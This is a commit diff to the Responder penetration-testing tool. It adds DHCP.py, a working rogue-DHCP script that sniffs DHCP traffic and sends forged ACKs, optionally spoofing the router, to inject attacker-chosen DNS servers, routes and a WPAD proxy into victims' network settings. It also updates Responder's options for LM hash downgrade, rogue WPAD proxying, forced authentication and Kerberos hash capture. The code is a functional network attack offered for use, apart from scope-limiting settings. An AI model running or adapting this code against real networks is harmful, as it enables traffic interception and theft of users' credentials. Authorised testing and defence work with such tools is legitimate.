Fixed high cpu usage in some specific cases

CHANGELOG

@@ -1,4 +1,9 @@
-ChangeLog Responder 2.0:
+ChangeLog Responder 2.0.8:
+- Removed: Old style options (On/Off). Just use -r instead of -r On. 
+- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
+- Added: In-scope llmnr/nbt-ns name option
+- Added: Kerberos hash support
+- Added: DHCP INFORM take over tool (DHCP.py)
 - Added: MDNS Poisoner.
 - Added: -F command line switch to force NTLM authentication on PAC file retrieval.
 - Added: Ability to inject custom HTML in HTTP responses.

DHCP.py

@@ -0,0 +1,381 @@
+#! /usr/bin/env python
+# This utility is part of NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+import sys,struct,socket,re,optparse,ConfigParser,os
+from odict import OrderedDict
+from socket import inet_aton, inet_ntoa
+
+
+parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
+                               prog=sys.argv[0],
+                               )
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
+
+parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
+
+parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
+
+parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
+
+parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
+
+parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
+
+parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
+
+parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
+
+parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
+
+parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
+
+options, args = parser.parse_args()
+
+def ShowWelcome():
+    Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
+    print Message
+
+if options.OURIP is None:
+   print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.Interface is None:
+   print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.RouterIP is None:
+   print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.DNSIP is None:
+   print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+if options.DNSIP2 is None:
+   print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
+   parser.print_help()
+   exit(-1)
+
+ShowWelcome()
+
+#Config parsing
+ResponderPATH = os.path.dirname(__file__)
+config = ConfigParser.ConfigParser()
+config.read(os.path.join(ResponderPATH,'Responder.conf'))
+RespondTo = config.get('Responder Core', 'RespondTo').strip()
+
+#Setting some vars
+Interface = options.Interface
+OURIP = options.OURIP
+ROUTERIP = options.RouterIP
+NETMASK = options.Netmask
+DHCPSERVER = options.OURIP
+DNSIP = options.DNSIP
+DNSIP2 = options.DNSIP2
+DNSNAME = options.DNSNAME
+WPADSRV = options.WPAD
+Spoof = options.Spoof
+Request = options.Request
+
+if Spoof:
+   DHCPSERVER = ROUTERIP
+
+def SpoofIP(Spoof):
+    if Spoof:
+       return ROUTERIP
+    else:
+       return OURIP 
+
+def RespondToSpecificHost(RespondTo):
+    if len(RespondTo)>=1 and RespondTo != ['']:
+       return True
+    else:
+       return False
+
+def RespondToIPScope(RespondTo, ClientIp):
+    if ClientIp in RespondTo:
+       return True
+    else:
+       return False
+
+class Packet():
+    fields = OrderedDict([
+        ("data", ""),
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+
+#####################################################################
+# Server Stuff
+#####################################################################
+
+class IPHead(Packet):
+    fields = OrderedDict([
+        ("Version",           "\x45"),
+        ("DiffServices",      "\x00"),
+        ("TotalLen",          "\x00\x00"),
+        ("Ident",             "\x00\x00"),
+        ("Flags",             "\x00\x00"),
+        ("TTL",               "\x40"),
+        ("Protocol",          "\x11"),
+        ("Checksum",          "\x00\x00"),
+        ("SrcIP",             ""),
+        ("DstIP",             ""),
+    ])
+
+class UDP(Packet):
+    fields = OrderedDict([
+        ("SrcPort",           "\x00\x43"),
+        ("DstPort",           "\x00\x44"),
+        ("Len",               "\x00\x00"),
+        ("Checksum",          "\x00\x00"),
+        ("Data",              "\x00\x00"),
+    ])
+
+    def calculate(self):
+        self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
+
+class DHCPACK(Packet):
+    fields = OrderedDict([
+        ("MessType",          "\x02"),
+        ("HdwType",           "\x01"),
+        ("HdwLen",            "\x06"),
+        ("Hops",              "\x00"),
+        ("Tid",               "\x22\x1b\xe0\x1a"),
+        ("ElapsedSec",        "\x00\x00"),
+        ("BootpFlags",        "\x00\x00"),
+        ("ActualClientIP",    "\x00\x00\x00\x00"),
+        ("GiveClientIP",      "\x00\x00\x00\x00"),
+        ("NextServerIP",      "\x00\x00\x00\x00"),
+        ("RelayAgentIP",      "\x00\x00\x00\x00"),
+        ("ClientMac",         "\xb8\x76\x3f\xbd\xdd\x05"),
+        ("ClientMacPadding",  "\x00" *10),
+        ("ServerHostname",    "\x00" * 64),
+        ("BootFileName",      "\x00" * 128),
+        ("MagicCookie",       "\x63\x82\x53\x63"),
+        ("DHCPCode",          "\x35"),    #DHCP Message
+        ("DHCPCodeLen",       "\x01"),
+        ("DHCPOpCode",        "\x05"),    #Msgtype(ACK)
+        ("Op54",              "\x36"),
+        ("Op54Len",           "\x04"),
+        ("Op54Str",           ""),                #DHCP Server
+        ("Op51",              "\x33"),
+        ("Op51Len",           "\x04"),
+        ("Op51Str",           "\x00\x01\x51\x80"), #Lease time, 1 day.
+        ("Op1",               "\x01"),
+        ("Op1Len",            "\x04"),
+        ("Op1Str",            ""),                  #Netmask
+        ("Op15",              "\x0f"),
+        ("Op15Len",           "\x0e"),
+        ("Op15Str",           DNSNAME),             #DNS Name
+        ("Op3",               "\x03"),
+        ("Op3Len",            "\x04"),
+        ("Op3Str",            ""),                  #Router
+        ("Op6",               "\x06"),
+        ("Op6Len",            "\x08"),
+        ("Op6Str",            ""),                  #DNS Servers
+        ("Op252",              "\xfc"),
+        ("Op252Len",           "\x04"),
+        ("Op252Str",           WPADSRV),            #Wpad Server.
+        ("Op255",             "\xff"),
+        ("Padding",           "\x00"),
+
+    ])
+
+    def calculate(self):
+        self.fields["Op54Str"] = inet_aton(DHCPSERVER)
+        self.fields["Op1Str"] = inet_aton(NETMASK)
+        self.fields["Op3Str"] = inet_aton(ROUTERIP)
+        self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
+        self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
+        self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
+
+class DHCPInformACK(Packet):
+    fields = OrderedDict([
+        ("MessType",          "\x02"),
+        ("HdwType",           "\x01"),
+        ("HdwLen",            "\x06"),
+        ("Hops",              "\x00"),
+        ("Tid",               "\x22\x1b\xe0\x1a"),
+        ("ElapsedSec",        "\x00\x00"),
+        ("BootpFlags",        "\x00\x00"),
+        ("ActualClientIP",    "\x00\x00\x00\x00"),
+        ("GiveClientIP",      "\x00\x00\x00\x00"),
+        ("NextServerIP",      "\x00\x00\x00\x00"),
+        ("RelayAgentIP",      "\x00\x00\x00\x00"),
+        ("ClientMac",         "\xb8\x76\x3f\xbd\xdd\x05"),
+        ("ClientMacPadding",  "\x00" *10),
+        ("ServerHostname",    "\x00" * 64),
+        ("BootFileName",      "\x00" * 128),
+        ("MagicCookie",       "\x63\x82\x53\x63"),
+        ("Op53",              "\x35\x01\x05"),      #Msgtype(ACK)
+        ("Op54",              "\x36"),
+        ("Op54Len",           "\x04"),
+        ("Op54Str",           ""),                  #DHCP Server
+        ("Op1",               "\x01"),
+        ("Op1Len",            "\x04"),
+        ("Op1Str",            ""),                  #Netmask
+        ("Op15",              "\x0f"),
+        ("Op15Len",           "\x0e"),
+        ("Op15Str",           DNSNAME),             #DNS Name
+        ("Op3",               "\x03"),
+        ("Op3Len",            "\x04"),
+        ("Op3Str",            ""),                  #Router
+        ("Op6",               "\x06"),
+        ("Op6Len",            "\x08"),
+        ("Op6Str",            ""),                  #DNS Servers
+        ("Op252",              "\xfc"),
+        ("Op252Len",           "\x04"),
+        ("Op252Str",           WPADSRV),            #Wpad Server.
+        ("Op255",             "\xff"),
+
+    ])
+
+    def calculate(self):
+        self.fields["Op54Str"] = inet_aton(DHCPSERVER)
+        self.fields["Op1Str"] = inet_aton(NETMASK)
+        self.fields["Op3Str"] = inet_aton(ROUTERIP)
+        self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
+        self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
+        self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
+
+def ParseMac(data):
+    return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
+
+def IsUDP(data):
+    if data[0][23:24] == "\x11":
+       return True
+    if data[0][23:24] == "\x06":
+       return False
+
+def ParseSrcDSTAddr(data):
+     SrcIP = inet_ntoa(data[0][26:30])
+     DstIP = inet_ntoa(data[0][30:34])
+     SrcPort = struct.unpack('>H',data[0][34:36])[0]
+     DstPort = struct.unpack('>H',data[0][36:38])[0]
+     return SrcIP,SrcPort,DstIP,DstPort
+
+def FindIP(data):
+    IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
+    return ''.join(IP[0:4])
+    
+def ParseDHCPCode(data):
+    PTid = data[4:8]
+    Seconds = data[8:10]
+    CurrentIP = inet_ntoa(data[12:16])
+    RequestedIP = inet_ntoa(data[16:20])
+    MacAddr = data[28:34]
+    OpCode = data[242:243]
+    RequestIP = data[245:249]
+    if OpCode == "\x08":
+       i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
+       p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
+       p.calculate()
+       u = UDP(Data = p)
+       u.calculate()
+       for x in range(1):
+          SendDHCP(str(i)+str(u),(CurrentIP,68))
+       return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+
+    if OpCode == "\x03":
+       if Request:
+          IP = FindIP(data)
+          if IP:
+             IPConv = inet_ntoa(IP)
+             if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
+                i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
+                p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
+                p.calculate()
+                u = UDP(Data = p)
+                u.calculate()
+                for x in range(1):
+                   SendDHCP(str(i)+str(u),(IPConv,68))
+                return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+             if RespondToSpecificHost(RespondTo) == False:
+                i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
+                p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
+                p.calculate()
+                u = UDP(Data = p)
+                u.calculate()
+                for x in range(1):
+                   SendDHCP(str(i)+str(u),(IPConv,68))
+                return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+
+    if OpCode == "\x01":
+       if Request:
+          IP = FindIP(data)
+          if IP:
+             IPConv = inet_ntoa(IP)
+             if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
+                i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
+                p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
+                p.calculate()
+                u = UDP(Data = p)
+                u.calculate()
+                for x in range(1):
+                   SendDHCP(str(i)+str(u),(IPConv,0))
+                return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+             if RespondToSpecificHost(RespondTo) == False:
+                i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
+                p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
+                p.calculate()
+                u = UDP(Data = p)
+                u.calculate()
+                for x in range(1):
+                   SendDHCP(str(i)+str(u),(IPConv,0))
+                return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+
+    else:
+       return False
+
+
+def SendDHCP(packet,Host):
+   Protocol = 0x0800
+   s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+   s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+   s.sendto(packet, Host)
+
+def SniffUDPMac():
+    s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
+    Protocol = 0x0800
+    s.bind((Interface, Protocol))
+    while True:
+       data = s.recvfrom(65535)
+       if IsUDP(data):
+          SrcIP,SrcPort,DstIP,DstPort =  ParseSrcDSTAddr(data)
+          if SrcPort == 67 or DstPort == 67:
+             Message = ParseDHCPCode(data[0][42:])
+             if Message:
+                print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
+                print Message
+
+
+SniffUDPMac()
+
+

README.md

@@ -11,7 +11,7 @@ suffix (see: http://support.microsoft.com/kb/163409). By default, the
 tool will only answers to File Server Service request, which is for SMB.
 The concept behind this, is to target our answers, and be stealthier on
 the network. This also helps to ensure that we don't break legitimate
-NBT-NS behavior. You can set the -r option to "On" via command line if 
+NBT-NS behavior. You can set the -r option via command line if 
 you want this tool to answer to the Workstation Service request name
 suffix.
 
@@ -22,12 +22,12 @@ FEATURES
   Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
   Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
   Clear text password is supported for NT4, and LM hashing downgrade when the 
-  --lm option is set to On. This functionality is enabled by default when the
+  --lm option is set. This functionality is enabled by default when the
   tool is launched.
 
 - Built-in MSSQL Auth server.
   In order to redirect SQL Authentication to this tool, you will need to
-  set the option -r to On(NBT-NS queries for SQL Server lookup are using
+  set the option -r (NBT-NS queries for SQL Server lookup are using
   the Workstation Service name suffix) for systems older than windows 
   Vista (LLMNR will be used for Vista and higher). This server supports
   NTLMv1, LMv2 hashes. This functionality was successfully tested on 
@@ -35,7 +35,7 @@ FEATURES
 
 - Built-in HTTP Auth server.
   In order to redirect HTTP Authentication to this tool, you will need
-  to set the option -r to On for Windows version older than Vista (NBT-NS
+  to set the option -r for Windows version older than Vista (NBT-NS
   queries for HTTP server lookup are sent using the Workstation Service
   name suffix). For Vista and higher, LLMNR will be used. This server 
   supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
@@ -45,7 +45,7 @@ FEATURES
 
 - Built-in HTTPS Auth server.
   In order to redirect HTTPS Authentication to this tool, you will need
-  to set the -r option to On for Windows versions older than Vista (NBT-NS
+  to set the -r option for Windows versions older than Vista (NBT-NS
   queries for HTTP server lookups are sent using the Workstation Service
   name suffix). For Vista and higher, LLMNR will be used. This server 
   supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
@@ -57,7 +57,7 @@ FEATURES
 
 - Built-in LDAP Auth server.
   In order to redirect LDAP Authentication to this tool, you will need
-  to set the option -r to On for Windows version older than Vista (NBT-NS
+  to set the option -r for Windows version older than Vista (NBT-NS
   queries for HTTP server lookup are sent using the Workstation Service
   name suffix). For Vista and higher, LLMNR will be used. This server 
   supports NTLMSSP hashes and Simple Authentication (clear text authentication).
@@ -118,52 +118,60 @@ USAGE
 First of all, please take a look at Responder.conf and set it for your needs.
 Running this tool:
 
-- python Responder.py [options]
+- ./Responder.py [options]
 
 Usage Example:
 
-python Responder.py -i 10.20.30.40 -r On -F On -w On
+./Responder.py -i 10.20.30.40 -w -r -f
+
+or:
+
+python Responder.py -i 10.20.30.40 -wrf
 
 Options List:
 
--h, --help                           show this help message and exit.
+  -h, --help            show this help message and exit
 
--i 10.20.30.40, --ip=10.20.30.40     The ip address to redirect the traffic to.
-                                     (usually yours)
+  -A, --analyze         Analyze mode. This option allows you to see NBT-NS,
+                        BROWSER, LLMNR requests from which workstation to
+                        which workstation without poisoning anything.
 
--I eth0, --interface=eth0            Network interface to use
+  -i 10.20.30.40, --ip=10.20.30.40
+                        The ip address to redirect the traffic to. (usually
+                        yours)
 
--b Off, --basic=Off                  Set this to On if you want to return a 
-                                     Basic HTTP authentication. Off will return 
-                                     an NTLM authentication.
+  -I eth0, --interface=eth0   Network interface to use
 
--r Off, --wredir=Off                 Set this to On to enable answers for netbios 
-                                     wredir suffix queries. Answering to wredir
-                                     will likely break stuff on the network 
-                                     (like classics 'nbns spoofer' will).
-                                     Default value is therefore set to Off.
+  -b, --basic           Set this if you want to return a Basic HTTP
+                        authentication. If not set, an NTLM authentication
+                        will be returned.
 
--f Off, --fingerprint=Off            This option allows you to fingerprint a 
-                                     host that issued an NBT-NS or LLMNR query.
+  -r, --wredir          Set this to enable answers for netbios wredir suffix
+                        queries. Answering to wredir will likely break stuff
+                        on the network (like classics 'nbns spoofer' would).
+                        Default value is therefore set to False
 
--w On, --wpad=On                     Set this to On or Off to start/stop the WPAD rogue
-                                     proxy server. Default value is Off
+  -d, --NBTNSdomain     Set this to enable answers for netbios domain suffix
+                        queries. Answering to domain suffixes will likely
+                        break stuff on the network (like a classic 'nbns
+                        spoofer' would). Default value is therefore set to
+                        False
 
---lm=Off                             Set this to On if you want to force LM hashing
-                                     downgrade for Windows XP/2003 and earlier. Default value is Off
+  -f, --fingerprint     This option allows you to fingerprint a host that
+                        issued an NBT-NS or LLMNR query.
 
--F Off, --ForceWpadAuth=Off          Set this to On or Off to force NTLM/Basic authentication on 
-                                     wpad.dat file retrieval. This might cause a login prompt in
-                                     some specific cases. Default value is Off
+  -w, --wpad            Set this to start the WPAD rogue proxy server. Default
+                        value is False
 
--A, --analyze                        Analyze mode. This option allows you to see NBT-NS,BROWSER, 
-                                     LLMNR requests from which workstation to which workstation 
-                                     without poisoning any requests. Also, you can map domains, 
-                                     MSSQL servers, workstations passively.
+  -F, --ForceWpadAuth   Set this if you want to force NTLM/Basic
+                        authentication on wpad.dat file retrieval. This might
+                        cause a login prompt in some specific cases.
+                        Therefore, default value is False
 
+  --lm                  Set this if you want to force LM hashing downgrade for
+                        Windows XP/2003 and earlier. Default value is False
 
--v                                   More verbose
-
+  -v                    More verbose
 
 
 For more information read these posts: 

Responder.conf

@@ -3,6 +3,7 @@
 ;Set these values to On or Off, so you can control which rogue authentication server is turned on.
 SQL = On
 SMB = On
+Kerberos = On
 FTP = On
 POP = On
 ;;Listen on 25/TCP, 587/TCP
@@ -19,9 +20,12 @@ Challenge = 1122334455667788
 ;Set this to change the default logging file 
 SessionLog = Responder-Session.log
 ;
-;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
 ;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
 RespondTo =
+;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
+;RespondTo = WPAD,DEV,PROD,SQLINT
+RespondToName =
 ;
 [HTTP Server]
 ;;

Responder.py

@@ -16,40 +16,42 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
-import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string
+import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string, time
 from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer
 from Fingerprint import RunSmbFinger,OsNameClientVersion
 from odict import OrderedDict
 from socket import inet_aton
 from random import randrange
 
-parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -b On -r On',
+parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf',
                                prog=sys.argv[0],
                                )
-parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", metavar="10.20.30.40",dest="Analyse")
+parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", dest="Analyse")
 
 parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
 
 parser.add_option('-I','--interface', action="store", help="Network interface to use", metavar="eth0", dest="INTERFACE", default="Not set")
 
-parser.add_option('-b', '--basic',action="store", help="Set this to On if you want to return a Basic HTTP authentication. Off will return an NTLM authentication.This option is mandatory.", metavar="Off",dest="Basic", choices=['On','on','off','Off'], default="Off")
+parser.add_option('-b', '--basic',action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned.", dest="Basic", default=False)
 
-parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="Wredirect", choices=['On','on','off','Off'], default="Off")
+parser.add_option('-r', '--wredir',action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False", dest="Wredirect", default=False)
 
-parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off")
+parser.add_option('-d', '--NBTNSdomain',action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False",dest="NBTNSDomain", default=False)
 
-parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="On", choices=['On','on','off','Off'], default="Off")
+parser.add_option('-f','--fingerprint', action="store_true", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", default=False)
 
-parser.add_option('-F','--ForceWpadAuth', action="store", dest="Force_WPAD_Auth", help = "Set this to On or Off to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Default value is Off", metavar="Off", choices=['On','on','off','Off'], default="Off")
+parser.add_option('-w','--wpad', action="store_true", dest="WPAD_On_Off", help = "Set this to start the WPAD rogue proxy server. Default value is False", default=False)
 
-parser.add_option('--lm',action="store", help="Set this to On if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is Off", metavar="Off",dest="LM_On_Off", choices=['On','on','off','Off'], default="Off")
+parser.add_option('-F','--ForceWpadAuth', action="store_true", dest="Force_WPAD_Auth", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False",default=False)
+
+parser.add_option('--lm',action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False", dest="LM_On_Off", default=False)
 
 parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose")
 
 options, args = parser.parse_args()
 
 if options.OURIP is None:
-   print "-i mandatory option is missing\n"
+   print "\n\033[1m\033[31m-i mandatory option is missing\033[0m\n"
    parser.print_help()
    exit(-1)
 
@@ -70,6 +72,7 @@ IMAP_On_Off = config.get('Responder Core', 'IMAP').upper()
 SMTP_On_Off = config.get('Responder Core', 'SMTP').upper()
 LDAP_On_Off = config.get('Responder Core', 'LDAP').upper()
 DNS_On_Off = config.get('Responder Core', 'DNS').upper()
+Krb_On_Off = config.get('Responder Core', 'Kerberos').upper()
 NumChal = config.get('Responder Core', 'Challenge')
 SessionLog = config.get('Responder Core', 'SessionLog')
 Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
@@ -78,16 +81,19 @@ FILENAME = config.get('HTTP Server', 'Filename')
 WPAD_Script = config.get('HTTP Server', 'WPADScript')
 RespondTo = config.get('Responder Core', 'RespondTo').strip()
 RespondTo.split(",")
+RespondToName = config.get('Responder Core', 'RespondToName').strip()
+RespondToName.split(",")
 #Cli options.
 OURIP = options.OURIP
-LM_On_Off = options.LM_On_Off.upper()
-WPAD_On_Off = options.WPAD_On_Off.upper()
-Wredirect = options.Wredirect.upper()
-Basic = options.Basic.upper()
-Finger_On_Off = options.Finger.upper()
+LM_On_Off = options.LM_On_Off
+WPAD_On_Off = options.WPAD_On_Off
+Wredirect = options.Wredirect
+NBTNSDomain = options.NBTNSDomain
+Basic = options.Basic
+Finger_On_Off = options.Finger
 INTERFACE = options.INTERFACE
 Verbose = options.Verbose
-Force_WPAD_Auth = options.Force_WPAD_Auth.upper()
+Force_WPAD_Auth = options.Force_WPAD_Auth
 AnalyzeMode = options.Analyse
 
 if INTERFACE != "Not set":
@@ -197,7 +203,7 @@ Challenge = ""
 for i in range(0,len(NumChal),2):
     Challenge += NumChal[i:i+2].decode("hex")
 
-Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off))
